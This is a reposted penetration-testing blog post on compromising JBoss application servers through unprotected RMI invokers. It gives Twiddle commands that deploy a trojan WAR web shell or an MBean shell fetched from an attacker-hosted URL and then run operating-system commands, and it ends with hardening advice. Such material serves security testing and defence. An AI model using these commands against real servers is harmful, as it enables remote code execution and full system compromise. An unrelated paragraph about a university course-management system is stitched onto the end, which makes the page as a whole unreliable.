SERVER TECHNOLOGIES - JBOSS RMI TWIDDLING

本文详细介绍了JBoss应用服务器中的RMI技术及其潜在的安全风险,包括已知漏洞和新发现的攻击手法。重点阐述了如何利用默认启用但未受保护的RMI invoker进行攻击,并提供了相应的解决方案,即移除不必要的invoker并手动保护剩余的组件。同时,文章还介绍了如何通过部署MBeanshell来实现远程交互,以及如何通过配置来增强安全性。

http://contextis.com/research/blog/server-technologies-jboss-rmi-twiddling/


Context encounters a wide range of server technologies during the course of penetration testing, often there are known vulnerabilities that can be used to exploit them, other times Context create new attacks. Context will be blogging about these techniques starting with JBoss RMI Twiddling. JBoss is an open source Java based application server which is widely used in corporate environments. In the past it has had its share of security vulnerabilities most of which have been addressed by adequate patches; however it is still distributed with several insecure options enabled by default. A large number of JBoss installations have not been extensively hardened and therefore are vulnerable to the attacks detailed in this post, that under certain circumstances lead to full system compromise.

There are numerous write-ups on JBoss JMX security concerns, but very few on vulnerabilities associated with Java RMI and it’s (by default) enabled unprotected invokers. None of the commonly used vulnerability scanners appear to probe the JavaRMI ports (1098, 1099, 4444) to verify if the invokers have been locked down, and therefore potentially miss a critical security vulnerability. While they will scream and shout when an unprotected JMX-Console is found, they remain mute over unprotected RMI invokers that could be used to achieve the same thing.

The guys at RedTeam Pentesting wrote a comprehensive paper [1] on the topic which provides background information on the invokers themselves, and how one could use scripts provided with JBoss to deploy a WAR shell on the server. The web shell then proxies the commands to the underlying operating system, allowing an attacker to execute commands in the context of the user running JBoss, regardless of how well protected the web consoles are. While I’ve come across quite a few installations where the web consoles have been left enabled allowing this attack, a large percentage of slimmed and locked down installations have the Coyote web connectors disabled. While this prevents the previously mentioned attacks, it is still possible to exploit this mis-configuration by interacting with the server solely over the RMI ports – for deployment and interaction.

THE WEB SHELL RMI METHOD

I thought I would include a quick re-cap of the web shell deployed over RMI attack talked about by Red-Team security in the past to make this post a little more comprehensive. The conditions for the attack are that the RMI ports are accessible, and the web connectors have been enabled, i.e. you can reach the web console at a port such as 8080. If the web consoles have been restricted to require authentication, a JSP shell bundled in a WAR file can be remotely deployed over RMI and later interacted with through the port the HTTP connector is listening on (usually 8080) bypassing that protection. The Twiddle tool, bundled with JBoss can be used to do this.

Quick test to verify RMI connectivity:

 	twiddle -s RHOST get "jboss.system:type=ServerInfo"

This should return something similar to:

 	HostAddress=X.X.X.X
	AvailableProcessors=8
	OSArch=x86
	OSVersion=5.2
	HostName=XXXXXX
	JavaVendor=Sun Microsystems Inc.
	JavaVMName=Java HotSpot(TM) Client VM
	FreeMemory=1206132840
	ActiveThreadGroupCount=6
	TotalMemory=1467809792
	JavaVMVersion=1.5.0_18-b02
	ActiveThreadCount=160
	JavaVMVendor=Sun Microsystems Inc.
	OSName=Windows 2003
	MaxMemory=1467809792
	JavaVersion=1.5.0_18

Then we deploy the Trojan WAR file (easiest if hosted on a web server locally) with Twiddle:

	twiddle.sh -s RHOST invoke "jboss.system:service=MainDeployer" deploy http://LOCALIP/trojanCon.war 

If you received a ‘null’ response from the previous command, the command shell should now be available through a web browser on http://REMOTEIP/trojanCon/cmd.jsp and allow you to run system commands in the context of the user running JBoss.

WHAT IF THE WEB CONNECTORS ARE DISABLED

If the web connectors are disabled, the entire process of deploy and invoke would have to be performed via RMI. The easiest way of doing this is to create an Mbean shell (or download the Context Mbean shell) that accepts commands passed to it remotely and executes these on the underlying operating system.

An Mbean, or managed bean, can be used to define an interface for remotely managing resources over RMI. The Mbean can implement this via the following:

  • Attributes, which can be read or changed
  • Operations, which can be invoked to perform a task
  • Notifications, which can be pushed from the Mbean

Further details on Mbeans can be found within the J2SE documentation [3].

The Context Mbean shell defines the operation ‘runCommand’, which takes two String parameters – a password, defined in the source; and the command itself. Refer to the readme and the source itself for more details. If you would like to write your own and don’t know where to start, the JBoss community provide a walkthrough of a simple HelloWorld example [4].
Twiddle can then be used to remotely deploy and interact with the shell using only the RMI ports. Here again the shell would have to be hosted on a local web server and the URL used as a parameter when calling the deploy function. The process basically goes like this: 

After hosting the Mbean on a local web server, use Twiddle with the same syntax as previously described to deploy it on the server:

	twiddle.sh -s RHOST invoke "jboss.system:service=MainDeployer" deploy http://LOCALIP/ContextMBean.sar

Again, a ‘null’ response indicates success. Then a quick check to verify that the Mbean service has been installed and is functioning as required:

	twiddle.sh –s REMOTEIP info “com.context.trojan:service=CtxTrojan”
This should return:
	Description: Management Bean.
	+++ Attributes:
	Name: Name
	Type: java.lang.String
	Access: r-
	Name: StateString
	Type: java.lang.String
	Access: r-
	Name: State
	Type: int
	Access: r-
	+++ Operations:
	void destroy()
	void start()
	void stop()
	void create()
	void jbossInternalLifecycle(java.lang.String p1)
	java.lang.String runCommand(java.lang.String p1,java.lang.String p2)
 

And finally to pass a command to the shell with the password that has been set in the uploaded Mbean (default: CtxPass):

	twiddle.sh –s RHOST invoke “com.context.trojan:service=CtxTrojan” runCommand “mbeanpassword” “cmd /c dir”
SOLUTION

Unfortunately most of the invokers JBoss ships with that have allowed attacks of this nature come enabled and unprotected by default. An administrator would therefore have to remove all invokers that are not required by the solution they are deploying, and manually protect the rest. 
To enable authentication for the various invokers in JBoss a simple XML configuration edit is required. As authentication sections in the respective XML files have already been included and only commented out, this process is fairly trivial. For more information on how to protect or remove the various invokers, refer to the document referenced at [2]

Although it should be noted that an authentication bypass vulnerability exists in JBoss, which is not referred to in this post, but has been addressed by the following updates from RedHat.

https://rhn.redhat.com/errata/RHSA-2010-0376.html
https://rhn.redhat.com/errata/RHSA-2010-0377.html
https://rhn.redhat.com/errata/RHSA-2010-0378.html
https://rhn.redhat.com/errata/RHSA-2010-0379.html

REFERENCES:

[1] – Whitepaper ‘Whos the JBoss now’ by RedTeam Pentesting. http://www.redteam-pentesting.de/publications/2009-11-30-Whitepaper_Whos-the-JBoss-now_RedTeam-Pentesting_EN.pdf
[2] – Whitepaper – ‘JBoss Security’. http://jira.jboss.org/jira/secure/attachment/12313982/jboss-securejmx.pdf
[3] - 'Overview of Java Management and Monitoring' -http://download.oracle.com/javase/1.5.0/docs/guide/management/overview.html
[4] - JBoss HelloWorld Service Example - http://community.jboss.org/wiki/ExampleHelloWorldService

本系统旨在构建一套面向高等院校的综合性教务管理平台,涵盖学生、教师及教务处三个核心角色的业务需求。系统设计着重于实现教学流程的规范化与数据处理的自动化,以提升日常教学管理工作的效率与准确性。 在面向学生的功能模块中,系统提供了课程选修服务,学生可依据培养方案选择相应课程,并生成个人专属的课表。成绩查询功能支持学生查阅个人各科目成绩,同时系统可自动计算并展示该课程的全班最高分、平均分、最低分以及学生在班级内的成绩排名。 教师端功能主要围绕课程与成绩管理展开。教师可发起课程设置申请,提交包括课程编码、课程名称、学分学时、课程概述在内的新课程信息,亦可对已开设课程的信息进行更新或撤销。在课程管理方面,教师具备录入所授课程期末考试成绩的权限,并可导出选修该课程的学生名单。 教务处作为管理中枢,拥有课程审批与教学统筹两大核心职能。课程设置审批模块负责处理教师提交的课程申请,管理员可根据教学计划与资源情况进行审核批复。教学安排模块则负责全局管控,包括管理所有学生的选课最终结果、生成包含学号、姓名、课程及成绩的正式成绩单,并能基于选课与成绩数据,统计各门课程的实际选课人数、最高分、最低分、平均分以及成绩合格的学生数量。 资源来源于网络分享,仅用于学习交流使用,请勿用于商业,如有侵权请联系我删除!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值